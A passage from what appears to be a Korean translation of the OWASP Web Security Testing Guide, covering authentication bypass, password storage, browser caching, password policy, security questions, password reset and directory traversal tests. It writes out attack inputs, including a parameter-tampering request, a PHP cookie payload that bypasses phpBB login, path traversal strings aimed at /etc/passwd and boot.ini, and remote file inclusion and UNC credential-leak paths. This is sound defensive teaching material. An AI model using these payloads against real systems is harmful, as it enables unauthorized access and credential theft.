  • 관리자가 수동으로 잠금 해제
  • 관리자가 수동으로 정상 사용자 식별하여 잠금 해제

OTG-AUTHN-004 (인증 스키마를 우회하기 위한 테스트)


개요

대부분의 응용 프로그램은 개인 정보에 액세스하거나 작업을 실행하기 위해 인증을 요구하지만 모든 인증 방법이 적절한 보안을 제공 할 수있는 것은 아닙니다. 보안 위협에 대한 과실, 무지 또는 단순한 과소 평가는 종종 로그인 페이지를 건너 뛰고 인증이 수행 된 후에 만 ​​액세스해야하는 내부 페이지를 직접 호출하여 우회 할 수있는 인증 체계를 초래합니다.

또한 요청을 변조하고 사용자가 이미 인증되었다고 생각하도록 응용 프로그램을 속여서 인증 조치를 무시할 수도 있습니다. 이는 주어진 URL 매개 변수를 수정하거나 양식을 조작하거나 세션을 위조하여 수행 할 수 있습니다.

인증 스키마와 관련된 문제는 설계, 개발 및 배포 단계와 같이 소프트웨어 개발 라이프 사이클 (SDLC)의 여러 단계에서 확인할 수 있습니다. 설계 단계에서 오류는 보호해야 할 응용 프로그램 섹션의 잘못된 정의, 자격 증명의 전송을 보호하기위한 강력한 암호화 프로토콜을 적용하지 않는 선택 등을 포함 할 수 있습니다. 개발 단계에서 오류는 입력 유효성 검사 기능의 잘못된 구현을 포함하거나 특정 언어에 대한 보안 모범 사례를 따르지 않을 수 있습니다. 응용 프로그램 배포 단계에서 필요한 기술 기술이 부족하거나 좋은 설명서가 없기 때문에 응용 프로그램 설치 중 (설치 및 구성 작업)에 문제가 있을 수 있습니다.


테스트 방법


Black Box testing

웹 어플리케이션에서 사용되는 인증 스키마를 우회하는 방법은 여러가지 있습니다.

  • 직접 페이지 요청 (강제 브라우징)
  • 파라미터 수정
  • 세션 ID 예측
  • SQL 인젝션

직접 페이지 요청 (강제 브라우징)

만약 웹 어플리케이션이 페이지에서의 로그인만 접근 제어를 구현해두었다면, 인증 스키마는 우회될 것입니다. 예를 들어, 사용자가 직접 강제 브라우징을 통해 다른 페이지를 요청하면, 해당 페이지는 접속 권한을 부여하기 전에 사용자의 자격 증명을 확인하지 않을 수 있습니다. 이 방법을 사용한 테스트는 브라우저에 주소 창을 통해 보호된 페이지를 직접 접근하는 시도입니다.


파라미터 수정

인증 설계와 관련된 또 다른 문제점은 응용 프로그램이 고정 값 매개 변수를 기반으로 성공적인 로그인을 검증 할 때입니다. 사용자는 유효한 자격 증명을 제공하지 않고 보호 된 영역에 액세스하기 위해 이러한 매개 변수를 수정할 수 있습니다. 아래 예제에서는 "인증 된"매개 변수가 "예"값으로 변경되어 사용자가 액세스 할 수 있습니다. 이 예에서 매개 변수는 URL에 있지만 프록시가 매개 변수를 수정하는 데 사용될 수도 있습니다. (특히 매개 변수가 POST 요청의 양식 요소로 전송되거나 매개 변수가 쿠키에 저장되는 경우)

http://www.site.com/page.asp?authenticated=no
raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>

세션 ID 예측

많은 웹 응용 프로그램은 세션 식별자 (세션 ID)를 사용하여 인증을 관리합니다. 따라서 세션 ID 생성이 예측 가능한 경우 악의적 인 사용자는 유효한 세션 ID를 찾고 해당 응용 프로그램에 대한 무단 액세스를 획득하여 이전에 인증 된 사용자를 가장 할 수 있습니다.

다음 그림에서 쿠키 내 값은 선형 적으로 증가하므로 공격자가 유효한 세션 ID를 쉽게 추측 할 수 있습니다.

다음 그림에서 쿠키 내의 값은 부분적으로 만 변경되므로 총계 공격을 아래 표시된 정의 된 필드로 제한 할 수 있습니다.

SQL 인젝션

SQL 인젝션은 널리 알려진 공격 기술입니다. 이 섹션에서는이 섹션의 범위를 벗어나는 사출 기술에 대해 설명하는 몇 가지 섹션이 있으므로이 기술을 자세히 설명하지는 않습니다.

다음 그림은 간단한 SQL 인젝션 공격으로 인증 양식을 무시할 수 있음을 보여줍니다.


Gray Box Testing

공격자가 이전에 발견 된 취약점 (예 : 디렉토리 통과)을 이용하거나 웹 저장소(오픈 소스 응용 프로그램)를 이용하여 응용 프로그램 소스 코드를 검색 할 수있는 경우 인증 구현에 대해 세련된 공격을 수행 할 수 있습니다 방법.

다음 예제 (PHPBB 2.0.13 - 인증 우회 취약점)의 5 행에서 unserialize () 함수는 사용자가 제공 한 쿠키를 파싱하고 $ row 배열 내에 값을 설정합니다. 10 행에서 백 엔드 데이터베이스에 저장된 사용자의 MD5 암호 해시가 제공된 암호 해시와 비교됩니다.

if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
{
    $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename. ‘_data’] ) ?

    unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename. ‘_data’])) : array();
    $sessionmethod = SESSION_METHOD_COOKIE;
}

if( md5($password) == $row[‘user_password’] && $row[‘user_active’] )
{
    $autologin = ( isset($HTTP_POST_VARS[‘autologin’]) ) ?
    TRUE : 0;
}

PHP에서 문자열 값과 부울 값 (1 - "TRUE") 간의 비교는 항상 "TRUE"이므로 unserialize() 함수에 다음 문자열(중요한 부분은 "b:1"임) 인증 제어를 우회 할 수 있습니다.

a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}

도구

  • WebScarab
  • WebGoat
  • OWASP Zed Attack Proxy (ZAP)

참고 문헌

Whitepapers
  • Mark Roxberry: “PHPBB 2.0.13 vulnerability”
  • David Endler: “Session ID Brute Force Exploitation and Prediction”

OTG-AUTHN-005 (패스워드 기억 취약점 테스트)


개요

브라우저는 방금 입력 한 암호를 기억하고 싶은지 사용자에게 묻습니다. 그러면 브라우저는 암호를 저장하고 동일한 인증 양식을 방문 할 때마다 암호를 자동으로 입력합니다. 이것은 사용자의 편의입니다. 또한 일부 웹 사이트는 사용자가 특정 클라이언트 시스템에서 로그인을 유지할 수 있도록 사용자 정의 "remember me"기능을 제공합니다.

브라우저 저장 암호를 갖는 것은 최종 사용자뿐만 아니라 공격자에게도 편리합니다. 공격자가 피해자의 브라우저에 액세스 할 수 있으면 (예 : 교차 사이트 스크립팅 공격 또는 공유 컴퓨터를 통해) 저장된 암호를 검색 할 수 있습니다. 브라우저가 쉽게 검색 할 수있는 방법으로 이러한 암호를 저장하는 것은 흔한 일은 아니지만 브라우저가 암호화 된 암호를 저장하고 마스터 암호를 사용하여 검색 할 수있는 경우에도 공격자는 대상 웹 응용 프로그램을 방문하여 암호를 검색 할 수 있습니다 인증 양식을 입력하고 피해자의 사용자 이름을 입력 한 다음 브라우저가 암호를 입력하도록합니다.

또한 사용자 정의 "remember me"기능을 적절하게 배치하여 클라이언트 PC에 토큰을 저장하는 방법의 약점 (예 : 토큰으로 base64 인 코드 된 자격 증명 사용)이 사용자 암호를 노출시킬 수 있습니다. 2014 년 초부터 대부분의 주요 브라우저는 비밀번호 양식과 관련하여 autocomplete = "off"를 무시할 것이므로 이전에이 기능이 필요하지 않으므로이 기능을 사용 중지하기위한 권장 사항을 일반적으로 제공해서는 안됩니다. 그러나 이것은 우연히 브라우저에 저장 될 수있는 2 차 비밀 같은 것들에도 여전히 적용될 수 있습니다.


테스트 방법

  • 쿠키에 저장되어 있는 패스워드 검색 어플리케이션에 의해 저장된 쿠키 검사 자격 증명이 일반 텍스트로 저장되지 않고, 해쉬되어 있는지 확인
  • 해싱 메커니즘 검사: 만약 잘 알려진 알고리즘을 사용한 경우 여러 사용자명 테스트를 통해 쉽게 유추가 가능한지 확인
  • 자격 증명이 로그 중 전송되는 부분만 확인. 어플리케이션에서 모든 요청과 함께 보내지지 않는지 확인
  • 민감한 form 필드 고려

참고 문헌

자격 증명이 일반 텍스트로 저장되지 않았거나 쿠키의 암호화되거나 암호화 된 양식에서 쉽게 검색 할 수 없도록하십시오.


OTG-AUTHN-006 (브라우저 캐시 취약점 테스트)


개요

이 단계에서 테스터는 애플리케이션이 민감한 데이터를 기억하지 못하도록 브라우저에 올바르게 지시하는지 확인합니다.

브라우저는 캐싱 및 히스토리를 위해 정보를 저장할 수 있습니다. 캐싱은 이전에 표시된 정보를 다시 다운로드 할 필요가 없도록 성능을 향상시키는 데 사용됩니다. 히스토리 메커니즘은 사용자 편의를 위해 사용되므로 사용자는 자원을 검색 할 때 본 내용을 정확히 볼 수 있습니다. 사용자에게 민감한 정보(예: 주소, 신용 카드 세부 정보, 사회 보장 번호 또는 사용자 이름)가 표시되면 이 정보는 캐싱이나 기록을 위해 저장 될 수 있으므로 브라우저의 캐시를 검사하거나 간단히 검색하여 검색 할 수 있습니다.


테스트 방법

브라우저 기록

기술적으로 "뒤로"버튼은 캐시가 아닌 기록입니다. 캐시와 히스토리는 두 개의 다른 엔티티입니다. 그러나 이전에 표시된 중요 정보를 표시하는 것과 동일한 약점을 공유합니다.

가장 간단한 테스트는 애플리케이션에 중요한 정보를 입력하고 로그아웃하는 것으로 구성됩니다. 그런 다음 테스터는 브라우저의 "뒤로"버튼을 클릭하여 인증되지 않은 상태에서 이전에 표시된 민감한 정보에 액세스 할 수 있는지 여부를 확인합니다.

"뒤로" 버튼을 누르면 테스터가 이전 페이지에 액세스 할 수 있지만 새로운 페이지에 액세스 할 수 없으면 인증 문제는 아니지만 브라우저 기록 문제가됩니다. 이 페이지에 민감한 데이터가 포함되어 있으면 응용 프로그램이 브라우저에서 저장하지 못하게됩니다.

인증이 테스트에 반드시 포함될 필요는 없습니다. 예를 들어 뉴스 레터에 가입하기 위해 사용자가 이메일 주소를 입력하면이 정보는 제대로 처리되지 않으면 검색 할 수 있습니다.

'뒤로'버튼의 민감한 데이터 표시가 중지 될 수 있습니다. 이 작업은 다음을 통해 수행 할 수 있습니다.

  • HTTPS를 통해 페이지 전달.
  • 캐시 제어 설정: 반드시 다시 확인해야합니다.

브라우저 캐시

여기에서 테스터는 애플리케이션이 중요한 데이터를 브라우저 캐시로 누설하지 않는지 확인합니다. 그렇게하기 위해 프록시(예: WebScarab)를 사용하고 세션에 속한 서버 응답을 검색하여 서버가 브라우저에 데이터를 캐시하지 않도록 지시 한 중요한 정보가 들어있는 모든 페이지에 대해 확인합니다. 이러한 지시문은 HTTP 응답 헤더에서 발행 할 수 있습니다.

Cache-Control: no-cache, no-store
Expires: 0
Pragma: no-cache

이러한 지시자는 일반적으로 견고하지만 파일 시스템에 지속적으로 링크된 파일을 더 잘 방지하기 위해 Cache-Control 헤더에 추가 플래그가 필요할 수도 있습니다. 여기에는 다음이 포함됩니다.

  • Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
HTTP/1.1:
Cache-Control: no-cache

HTTP/1.0:
Pragma: no-cache
Expires: <past date or illegal value (e.g., 0)>

예를 들어 테스터가 전자 상거래 애플리케이션을 테스트하는 경우 신용 카드 번호 나 기타 재무 정보가 포함 된 모든 페이지를 검색하고 모든 페이지에서 no-cache 지시어를 적용하는지 확인해야 합니다. 중요한 정보를 포함하지만 브라우저에 내용을 캐시하지 않도록 지시하는 페이지를 찾으면 민감한 정보가 디스크에 저장된다는 것을 알고 브라우저 캐시에서 페이지를 찾는 것만으로이 정보를 다시 확인할 수 있습니다 .

해당 정보가 저장된 정확한 위치는 클라이언트 운영 체제 및 사용 된 브라우저에 따라 다릅니다. 다음은 몇 가지 예입니다.

  1. Mozilla Firefox:
  • Unix/Linux: "~/.mozilla/firefox/<profile-id>/Cache/"
  • Windows: "C:\Documents and Settings\<user_name>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache"
  1. Internet Explorer:
  • "C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files"

Gray Box testing

테스팅을위한 방법론은 블랙 박스의 경우와 동일합니다. 두 시나리오 모두에서 테스터는 서버 응답 헤더와 HTML 코드에 대한 완전한 액세스 권한을 가지고 있기 때문입니다. 그러나 회색 상자 테스트의 경우 테스터는 인증된 사용자에게만 액세스 할 수 있는 중요한 페이지를 테스트 할 수 있는 계정 자격 증명에 액세스 할 수 있습니다.


도구

  • OWASP Zed Attack Proxy
  • Firefox add-on CacheViewer2

참고 문헌

Whitepapers
  • Caching in HTTP

OTG-AUTHN-007 (취약한 패스워드 정책 테스트)


개요

가장 널리 보급되고 가장 쉽게 관리되는 인증 메커니즘은 정적 암호입니다. 암호는 왕국의 열쇠를 나타내지 만 사용자가 유용성의 이름으로 종종 전복합니다. 최근 신상 정보에서 사용자 자격 증명을 공개 한 해킹에서 가장 흔한 암호는 여전히 123456, 암호 및 qwerty입니다.


테스트 목적

암호의 길이, 복잡성, 재사용 및 노후화 요구 사항을 평가하여 사용 가능한 암호 사전을 사용하여 무차별 암호 추측에 대한 응용 프로그램의 저항을 결정하십시오.


테스트 방법

  1. 어떤 문자가 암호 내에서 사용이 허용되고 금지됩니까? 사용자가 대소 문자, 숫자 및 특수 기호와 같은 다른 문자 집합의 문자를 사용해야합니까?
  2. 사용자는 얼마나 자주 암호를 변경할 수 있습니까? 이전에 변경 한 후 사용자가 얼마나 빨리 암호를 변경할 수 있습니까? 사용자는 암호를 다섯 번 연속 변경하여 암호 기록 요구 사항을 건너 뛸 수 있으므로 마지막 암호를 변경 한 후에 다시 초기 암호를 구성 할 수 있습니다.
  3. 사용자가 언제 암호를 변경해야합니까? 90일 후? 과도한 로그온 시도로 인해 계정이 잠긴 후?
  4. 사용자는 얼마나 자주 암호를 재사용 할 수 있습니까? 응용 프로그램이 이전에 사용한 8개의 암호에 대한 기록을 유지합니까?
  5. 다음 암호가 마지막 암호와 다른 점은 무엇입니까?
  6. 사용자가 자신의 사용자 이름이나 다른 계정 정보 (성과 이름 등)를 암호에서 사용하지 못하게합니까?

참고 문헌

  • Brute Force Attacks
  • Password length & complexity

권고 사항

인증되지 않은 액세스를 용이하게하는 추측 된 암호의 위험을 줄이려면 추가 인증 제어(2단계 인증)를 도입하거나 강력한 암호 정책을 도입하는 두 가지 솔루션이 있습니다. 이들 중 가장 간단하고 저렴한 방법은 암호 길이, 복잡성, 재사용 및 노화를 보장하는 강력한 암호 정책을 도입하는 것입니다.


OTG-AUTHN-008 (취약한 보안 질의응답 테스트)


개요

Often called “secret” questions and answers, security questions and answers are often used to recover forgotten passwords (see Testing for weak password change or reset functionalities (OTG-AUTHN-009)), or as extra security on top of the password. They are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.

Security questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.

Pre-generated questions:

The majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example: • The answers may be known to family members or close friends of the user, e.g. “What is your mother’s maiden name?”, “What is your date of birth?” • The answers may be easily guessable, e.g. “What is your favorite color?”, “What is your favorite baseball team?” • The answers may be brute forcible, e.g. “What is the first name of your favorite high school teacher?” - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted. • The answers may be publicly discoverable, e.g. “What is your favorite movie?” - the answer may easily be found on the user’s social media profile page.

Self-generated questions:

The problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:

  • “What is 1+1?”
  • “What is your username?”
  • “My password is M3@t$p1N

테스트 방법

Testing for weak pre-generated questions:

Try to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).

Testing for weak self-generated questions:

Try to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.

Testing for brute-forcible answers:

Use the methods described in Testing for Weak lock out mechanism (OTG-AUTHN-003) to determine if a number of incorrectly supplied security answers trigger a lockout mechanism. The first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions. The next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a stepby-step walk-through of exploiting a security question scheme:

[1] Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have: • A “public” answer; for example, something that could be find with a simple search-engine query. • A factual answer such as a “first school” or other facts which can be looked up. • Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely. [2] Determine how many guesses you have if possible. • Does the password reset allow unlimited attempts? • Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users. [3] Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers. The key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.


References

The Curse of the Secret Question


OTG-AUTHN-009 (취약한 패스워드 바꾸기 또는 초기화 기능 테스트)


개요

The password change and reset function of an application is a self-service password change or reset mechanism for users. This self-service mechanism allows users to quickly change or reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plain text or in a decryptable format.


테스트 목적

  • 누군가 계정의 패스워드를 변경할 수 있도록 계정 변경 처리의

서브버전에 대한 어플리케이션 저항력 확인

Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account. - 추측 또는 우회에 대한 보안으로 패스워드 재설정 기능 저항력 확인


테스트 방법

패스워드 변경과 패스워드 초기화 모두 중요한 체크입니다.

1. if users, other than administrators, can change or reset passwords for accounts other than their own. 2. if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator. 3. if the password change or reset process is vulnerable to CSRF.


패스워드 초기화 테스트

In addition to the previous checks it is important to verify the following: • What information is required to reset the password? The first step is to check whether secret questions are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security. On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the Testing for Weak security question/answer paragraph of this guide.

  • How are reset passwords communicated to the user?

The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last log in the victim would not know that their account has been compromised. A less insecure scenario is if the password reset tool forces the user to immediately change their password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.

  • Are reset passwords generated randomly?

The most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself. The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.

  • Is the reset password functionality requesting confirmation before

changing the password?

To limit denial-of-service attacks the application should email a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.

패스워드 변경 테스트

In addition to the previous test it is important to verify: • Is the old password requested to complete the change? The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session they could easily change the victim’s password. See also Testing for Weak password policy paragraph of this guide.


References

  • OWASP Forgot Password Cheat Sheet
  • OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery

Remediation

The password change or reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation screens during the process.


OTG-AUTHN-010 (교체 채널에서 취약한 인증을 위한 테스트)


개요

Even if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities. The alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different host names or paths. For example:

  • Standard website
  • Mobile, or specific device, optimized website
  • Accessibility optimized website
  • Alternative country and language websites
  • Parallel websites that utilize the same user accounts

(e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared) - Development, test, UAT and staging versions of the standard

website

But they could also be other types of application or business processes:

  • Mobile device app
  • Desktop application
  • Call center operators
  • Interactive voice response or phone tree systems

Note that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:

  • Progressive enrichment and graceful degradation that change functionality
  • Site use without cookies
  • Site use without JavaScript
  • Site use without plugins such as for Flash and Java

Even if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.

예제

주요 웹 사이트

그리고 전송 계층 보안을 사용한 페이지에 인증 기능 사용

However, a separate mobile-optimized website exists that does not use Transport Layer Security at all, and has a weaker password recovery mechanism:


테스트 방법

주요 메카니즘 이해

Fully test the website’s primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.


또다른 채널 확인

Other channels can be found by using the following methods:

  • Reading site content, especially the home page, contact us, help

pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files. - Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as “mobile”, “android”, blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” in URL paths and body content. - Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms. For each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.


인증 기능 열거

For each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below: In this example, mobile has an extra function “change password”

but does not offer “log out”. A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website’s, allowing this channel to be used to aid an attack against a user’s account. While enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).


검토 및 테스트

Alternative channels should be mentioned in the testing report, even if they are marked as “information only” and/or “out of scope”. In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host name), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.


Remediation

Ensure a consistent authentication policy is applied across all channels so that they are equally secure.

04_권한 테스트

OTG-AUTHZ-001 (디렉토리 트레버셜 및 파일 인클루트 테스트)


개요

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands. Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users’ files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application. The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands. Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated. In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn’t read, access data outside the web document root, or include scripts and other kinds of files from external websites. For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers. This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking. During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

  1. Input Vectors Enumeration (a systematic evaluation of each input vector)
  2. Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)

테스트 방법


Black Box Testing

Input Vectors Enumeration

In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

  • Are there request parameters which could be used for file-related operations?
  • Are there unusual file extensions?
  • Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
  • Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Techniques:
 

The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file and shows the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file. To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

For the cookies example:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

It’s also possible to include files and scripts located on external website.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters

http://example.com/main.cgi?home=main.cgi

The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip: It’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme. Each operating system uses different characters as path separator:

Unix-like OS:

root directory: "/"
directory separator: "/"

Windows OS:

root directory: "<drive letter>:"
directory separator: "/"

Classic Mac OS:

root directory: "<drive letter>:"
directory separator: ":"

We should take in to account the following character encoding mechanisms:

  • URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
  • Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

  • Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:
  • Angle brackets ">" and "<" at the end of the path
  • Double quotes (closed properly) at the end of the path
  • Extraneous current directory markers such as "./" or ".\"
  • Extraneous parent directory markers with arbitrary items that may or may not exist

Examples:

– file.txt
– file.txt...
– file.txt<spaces>
– file.txt""""
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt
  • Windows API: The following items are discarded when used in any

shell command or API call where a string is taken as a filename:

periods
spaces
  • Windows UNC Filepaths: Used to reference files on SMB shares.

Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.

\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
  • Windows NT Device Namespace: Used to refer to the Windows

device namespace. Certain references will allow access to file systems using a different path. • May be equivalent to a drive letter such as c:, or even a drive volume without an assigned letter.

\\.\GLOBALROOT\Device\HarddiskVolume1\

Refers to the first disc drive on the machine.

\\.\CdRom0\

Gray Box testing

When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, they can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on

PHP: include(), include_once(), require(), require_once(), fopen(),
readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

Using online code search engines (e.g., Ohloh Code[1]), it may also be possible to find path traversal flaws in Open Source software published on the Internet. For PHP, testers can use:

lang:php (include|require)(_once)?\s*[‘"(]?\s*\$_
(GET|POST|COOKIE)

Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment. Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality. Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws. Consider a web application with these instructions:

filename = Request.QueryString("file");
Replace(filename, "/","\");
Replace(filename, "..\","");

Testing for the flaw is achieved by:

file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini

Tools

